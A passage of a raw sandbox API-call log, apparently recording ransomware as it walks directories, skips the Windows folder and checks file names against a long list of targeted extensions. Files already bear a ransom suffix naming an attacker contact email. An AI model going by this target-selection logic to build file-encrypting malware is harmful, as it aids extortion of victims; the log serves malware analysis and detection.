ftLastWriteTime.dwLowDateTime=0xc2b937ae, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.828] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b937ae, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2b937ae, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2b937ae, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DESKTO~1.KR")) returned 1 [0081.828] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2b937ae, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2b937ae, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2b937ae, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DESKTO~1.KR")) returned 0 [0081.828] FindClose (in: hFindFile=0x4260690 | out: hFindFile=0x4260690) returned 1 [0081.828] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0081.828] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0081.828] FindClose (in: hFindFile=0x4260650 | out: hFindFile=0x4260650) returned 1 [0081.828] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0081.828] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x3cdfcf8 | out: lpFindFileData=0x3cdfcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0081.828] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x3cdfcf8 | out: lpFindFileData=0x3cdfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0081.829] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0081.829] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212") returned 1 [0081.829] lstrlenW (lpString="588bce7c90097ed212") returned 18 [0081.829] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="588bce7c90097ed212") returned 1 [0081.829] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0081.829] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0081.829] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260350 [0081.829] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0081.829] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0081.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0081.829] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1 [0081.829] lstrlenW (lpString="1025") returned 4 [0081.829] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1 [0081.829] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0081.829] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0081.829] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc2df5c2f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0081.830] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc2df5c2f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.830] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc2b937ae, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2b937ae, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2bb9891, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0081.830] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0081.830] lstrlenW (lpString=".1cd") returned 4 [0081.830] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0081.830] lstrlenW (lpString=".3ds") returned 4 [0081.830] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0081.830] lstrlenW (lpString=".3fr") returned 4 [0081.830] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0081.830] lstrlenW (lpString=".3g2") returned 4 [0081.830] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0081.830] lstrlenW (lpString=".3gp") returned 4 [0081.830] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0081.830] lstrlenW (lpString=".7z") returned 3 [0081.830] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0081.830] lstrlenW (lpString=".accda") returned 6 [0081.830] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0081.830] lstrlenW (lpString=".accdb") returned 6 [0081.830] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0081.830] lstrlenW (lpString=".accdc") returned 6 [0081.830] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0081.830] lstrlenW (lpString=".accde") returned 6 [0081.831] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0081.831] lstrlenW (lpString=".accdt") returned 6 [0081.831] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0081.831] lstrlenW (lpString=".accdw") returned 6 [0081.831] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0081.831] lstrlenW (lpString=".adb") returned 4 [0081.831] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0081.831] lstrlenW (lpString=".adp") returned 4 [0081.831] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0081.831] lstrlenW (lpString=".ai") returned 3 [0081.831] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0081.831] lstrlenW (lpString=".ai3") returned 4 [0081.831] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0081.831] lstrlenW (lpString=".ai4") returned 4 [0081.831] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0081.831] lstrlenW (lpString=".ai5") returned 4 [0081.831] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0081.831] lstrlenW (lpString=".ai6") returned 4 [0081.831] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0081.831] lstrlenW (lpString=".ai7") returned 4 [0081.831] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0081.831] lstrlenW (lpString=".ai8") returned 4 [0081.831] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0081.831] lstrlenW (lpString=".anim") returned 5 [0081.831] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0081.831] lstrlenW (lpString=".arw") returned 4 [0081.831] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0081.831] lstrlenW (lpString=".as") returned 3 [0081.831] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0081.831] lstrlenW (lpString=".asa") returned 4 [0081.831] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0081.831] lstrlenW (lpString=".asc") returned 4 [0081.831] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0081.832] lstrlenW (lpString=".ascx") returned 5 [0081.832] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0081.832] lstrlenW (lpString=".asm") returned 4 [0081.832] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0081.832] lstrlenW (lpString=".asmx") returned 5 [0081.832] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0081.832] lstrlenW (lpString=".asp") returned 4 [0081.832] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0081.832] lstrlenW (lpString=".aspx") returned 5 [0081.832] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0081.832] lstrlenW (lpString=".asr") returned 4 [0081.832] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0081.832] lstrlenW (lpString=".asx") returned 4 [0081.832] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0081.832] lstrlenW (lpString=".avi") returned 4 [0081.832] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0081.832] lstrlenW (lpString=".avs") returned 4 [0081.832] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0081.832] lstrlenW (lpString=".backup") returned 7 [0081.832] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0081.832] lstrlenW (lpString=".bak") returned 4 [0081.832] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0081.832] lstrlenW (lpString=".bay") returned 4 [0081.832] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0081.832] lstrlenW (lpString=".bd") returned 3 [0081.832] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0081.832] lstrlenW (lpString=".bin") returned 4 [0081.832] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0081.832] lstrlenW (lpString=".bmp") returned 4 [0081.832] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0081.832] lstrlenW (lpString=".bz2") returned 4 [0081.832] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0081.833] lstrlenW (lpString=".c") returned 2 [0081.833] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0081.833] lstrlenW (lpString=".cdr") returned 4 [0081.833] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0081.833] lstrlenW (lpString=".cer") returned 4 [0081.833] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0081.833] lstrlenW (lpString=".cf") returned 3 [0081.833] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0081.833] lstrlenW (lpString=".cfc") returned 4 [0081.833] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0081.833] lstrlenW (lpString=".cfm") returned 4 [0081.833] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0081.833] lstrlenW (lpString=".cfml") returned 5 [0081.833] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0081.833] lstrlenW (lpString=".cfu") returned 4 [0081.833] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0081.833] lstrlenW (lpString=".chm") returned 4 [0081.833] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0081.833] lstrlenW (lpString=".cin") returned 4 [0081.833] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0081.833] lstrlenW (lpString=".class") returned 6 [0081.833] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0081.833] lstrlenW (lpString=".clx") returned 4 [0081.833] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0081.833] lstrlenW (lpString=".config") returned 7 [0081.833] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0081.833] lstrlenW (lpString=".cpp") returned 4 [0081.833] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0081.833] lstrlenW (lpString=".cr2") returned 4 [0081.833] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0081.833] lstrlenW (lpString=".crt") returned 4 [0081.833] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0081.833] lstrlenW (lpString=".crw") returned 4 [0081.834] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0081.834] lstrlenW (lpString=".cs") returned 3 [0081.834] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0081.834] lstrlenW (lpString=".css") returned 4 [0081.834] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0081.834] lstrlenW (lpString=".csv") returned 4 [0081.834] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0081.834] lstrlenW (lpString=".cub") returned 4 [0081.834] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0081.834] lstrlenW (lpString=".dae") returned 4 [0081.834] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0081.834] lstrlenW (lpString=".dat") returned 4 [0081.834] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0081.834] lstrlenW (lpString=".db") returned 3 [0081.834] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0081.834] lstrlenW (lpString=".dbf") returned 4 [0081.834] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0081.834] lstrlenW (lpString=".dbx") returned 4 [0081.834] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0081.834] lstrlenW (lpString=".dc3") returned 4 [0081.834] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0081.834] lstrlenW (lpString=".dcm") returned 4 [0081.834] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0081.834] lstrlenW (lpString=".dcr") returned 4 [0081.834] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0081.834] lstrlenW (lpString=".der") returned 4 [0081.834] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0081.834] lstrlenW (lpString=".dib") returned 4 [0081.834] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0081.834] lstrlenW (lpString=".dic") returned 4 [0081.834] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0081.835] lstrlenW (lpString=".dif") returned 4 [0081.835] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0081.835] lstrlenW (lpString=".divx") returned 5 [0081.835] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0081.835] lstrlenW (lpString=".djvu") returned 5 [0081.835] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0081.835] lstrlenW (lpString=".dng") returned 4 [0081.835] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0081.835] lstrlenW (lpString=".doc") returned 4 [0081.835] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0081.835] lstrlenW (lpString=".docm") returned 5 [0081.835] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0081.835] lstrlenW (lpString=".docx") returned 5 [0081.835] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0081.835] lstrlenW (lpString=".dot") returned 4 [0081.835] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0081.835] lstrlenW (lpString=".dotm") returned 5 [0081.835] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0081.835] lstrlenW (lpString=".dotx") returned 5 [0081.835] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0081.835] lstrlenW (lpString=".dpx") returned 4 [0081.835] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0081.835] lstrlenW (lpString=".dqy") returned 4 [0081.835] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0081.835] lstrlenW (lpString=".dsn") returned 4 [0081.835] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0081.835] lstrlenW (lpString=".dt") returned 3 [0081.835] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0081.836] lstrlenW (lpString=".dtd") returned 4 [0081.836] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0081.836] lstrlenW (lpString=".dwg") returned 4 [0081.836] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0081.836] lstrlenW (lpString=".dwt") returned 4 [0081.836] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0081.836] lstrlenW (lpString=".dx") returned 3 [0081.836] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0081.836] lstrlenW (lpString=".dxf") returned 4 [0081.836] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0081.836] lstrlenW (lpString=".edml") returned 5 [0081.836] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0081.836] lstrlenW (lpString=".efd") returned 4 [0081.836] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0081.836] lstrlenW (lpString=".elf") returned 4 [0081.836] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0081.836] lstrlenW (lpString=".emf") returned 4 [0081.836] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0081.836] lstrlenW (lpString=".emz") returned 4 [0081.836] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0081.836] lstrlenW (lpString=".epf") returned 4 [0081.836] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0081.836] lstrlenW (lpString=".eps") returned 4 [0081.836] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0081.836] lstrlenW (lpString=".epsf") returned 5 [0081.836] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0081.836] lstrlenW (lpString=".epsp") returned 5 [0081.836] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0081.836] lstrlenW (lpString=".erf") returned 4 [0081.837] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0081.837] lstrlenW (lpString=".exr") returned 4 [0081.837] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0081.837] lstrlenW (lpString=".f4v") returned 4 [0081.837] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0081.837] lstrlenW (lpString=".fido") returned 5 [0081.837] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0081.837] lstrlenW (lpString=".flm") returned 4 [0081.837] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0081.837] lstrlenW (lpString=".flv") returned 4 [0081.837] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0081.837] lstrlenW (lpString=".frm") returned 4 [0081.837] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0081.837] lstrlenW (lpString=".fxg") returned 4 [0081.837] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0081.837] lstrlenW (lpString=".geo") returned 4 [0081.837] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0081.837] lstrlenW (lpString=".gif") returned 4 [0081.837] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0081.837] lstrlenW (lpString=".grs") returned 4 [0081.837] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0081.837] lstrlenW (lpString=".gz") returned 3 [0081.837] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0081.837] lstrlenW (lpString=".h") returned 2 [0081.837] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0081.837] lstrlenW (lpString=".hdr") returned 4 [0081.837] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0081.837] lstrlenW (lpString=".hpp") returned 4 [0081.838] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0081.838] lstrlenW (lpString=".hta") returned 4 [0081.838] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0081.838] lstrlenW (lpString=".htc") returned 4 [0081.838] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0081.838] lstrlenW (lpString=".htm") returned 4 [0081.838] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0081.838] lstrlenW (lpString=".html") returned 5 [0081.838] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0081.838] lstrlenW (lpString=".icb") returned 4 [0081.838] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0081.838] lstrlenW (lpString=".ics") returned 4 [0081.838] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0081.838] lstrlenW (lpString=".iff") returned 4 [0081.838] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0081.838] lstrlenW (lpString=".inc") returned 4 [0081.838] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0081.838] lstrlenW (lpString=".indd") returned 5 [0081.838] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0081.838] lstrlenW (lpString=".ini") returned 4 [0081.838] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0081.838] lstrlenW (lpString=".iqy") returned 4 [0081.838] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0081.838] lstrlenW (lpString=".j2c") returned 4 [0081.838] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0081.838] lstrlenW (lpString=".j2k") returned 4 [0081.838] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0081.838] lstrlenW (lpString=".java") returned 5 [0081.838] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0081.838] lstrlenW (lpString=".jp2") returned 4 [0081.838] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0081.839] lstrlenW (lpString=".jpc") returned 4 [0081.839] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0081.839] lstrlenW (lpString=".jpe") returned 4 [0081.839] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0081.839] lstrlenW (lpString=".jpeg") returned 5 [0081.839] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0081.839] lstrlenW (lpString=".jpf") returned 4 [0081.839] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0081.839] lstrlenW (lpString=".jpg") returned 4 [0081.839] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0081.839] lstrlenW (lpString=".jpx") returned 4 [0081.839] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0081.839] lstrlenW (lpString=".js") returned 3 [0081.839] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0081.839] lstrlenW (lpString=".jsf") returned 4 [0081.839] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0081.839] lstrlenW (lpString=".json") returned 5 [0081.839] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0081.839] lstrlenW (lpString=".jsp") returned 4 [0081.839] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0081.839] lstrlenW (lpString=".kdc") returned 4 [0081.839] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0081.839] lstrlenW (lpString=".kmz") returned 4 [0081.839] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0081.839] lstrlenW (lpString=".kwm") returned 4 [0081.839] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0081.839] lstrlenW (lpString=".lasso") returned 6 [0081.839] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0081.839] lstrlenW (lpString=".lbi") returned 4 [0081.840] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0081.840] lstrlenW (lpString=".lgf") returned 4 [0081.840] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0081.840] lstrlenW (lpString=".lgp") returned 4 [0081.840] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0081.840] lstrlenW (lpString=".log") returned 4 [0081.840] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0081.840] lstrlenW (lpString=".m1v") returned 4 [0081.840] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0081.840] lstrlenW (lpString=".m4a") returned 4 [0081.840] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0081.840] lstrlenW (lpString=".m4v") returned 4 [0081.840] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0081.840] lstrlenW (lpString=".max") returned 4 [0081.840] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0081.840] lstrlenW (lpString=".md") returned 3 [0081.840] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0081.840] lstrlenW (lpString=".mda") returned 4 [0081.840] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0081.840] lstrlenW (lpString=".mdb") returned 4 [0081.840] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0081.840] lstrlenW (lpString=".mde") returned 4 [0081.840] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0081.840] lstrlenW (lpString=".mdf") returned 4 [0081.840] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0081.840] lstrlenW (lpString=".mdw") returned 4 [0081.841] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0081.841] 